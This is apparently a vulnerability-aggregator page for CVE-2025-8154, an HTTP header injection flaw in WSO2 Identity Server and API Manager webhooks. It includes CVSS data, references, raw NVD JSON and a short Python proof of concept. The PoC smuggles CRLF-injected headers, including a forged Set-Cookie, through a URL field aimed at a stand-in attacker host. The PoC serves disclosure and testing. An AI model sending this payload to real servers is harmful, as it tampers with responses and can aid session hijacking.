CVE-2025-8154

Description

In Webhook API invocations, the component accepts user-supplied input for HTTP request headers without sufficient validation or sanitization, allowing these headers to be injected into HTTP responses. By exploiting this vulnerability, a malicious actor can inject or overwrite arbitrary HTTP response headers. This can lead to various adverse effects, including the manipulation of browser caching, alteration of security-related headers, and the injection of sensitive information such as cookie values, potentially enabling session hijacking or other malicious activities.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WSO2 Identity Server (具体版本请参考WSO2-2025-4410通告)

WSO2 API Manager (具体版本请参考WSO2-2025-4410通告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC Concept for HTTP Header Injection via Webhook
import requests

target_url = "https://target-wso2-server/api/webhook/invoke"
payload = {
    "url": "http://attacker-controlled.com\r\nX-Injected-Header: True\r\nSet-Cookie: sessionid=stolen_value"
}

response = requests.post(target_url, json=payload)
print("Response Status:", response.status_code)
# Check if malicious headers are reflected in the response
print("Response Headers:", response.headers)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-8154
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-8154
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-8154/
[4] VulDB https://vuldb.com/cve/CVE-2025-8154
[5] https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2025-4410/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-8154", "sourceIdentifier": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "published": "2026-05-11T10:16:12.863", "lastModified": "2026-05-13T15:25:04.383", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Webhook API invocations, the component accepts user-supplied input for HTTP request headers without sufficient validation or sanitization, allowing these headers to be injected into HTTP responses.\n\nBy exploiting this vulnerability, a malicious actor can inject or overwrite arbitrary HTTP response headers. This can lead to various adverse effects, including the manipulation of browser caching, alteration of security-related headers, and the injection of sensitive information such as cookie values, potentially enabling session hijacking or other malicious activities."}], "metrics": {"cvssMetricV31": [{"source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}]}], "references": [{"url": "https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2025-4410/", "source": "ed10eef1-636d-4fbe-9993-6890dfa878f8"}]}}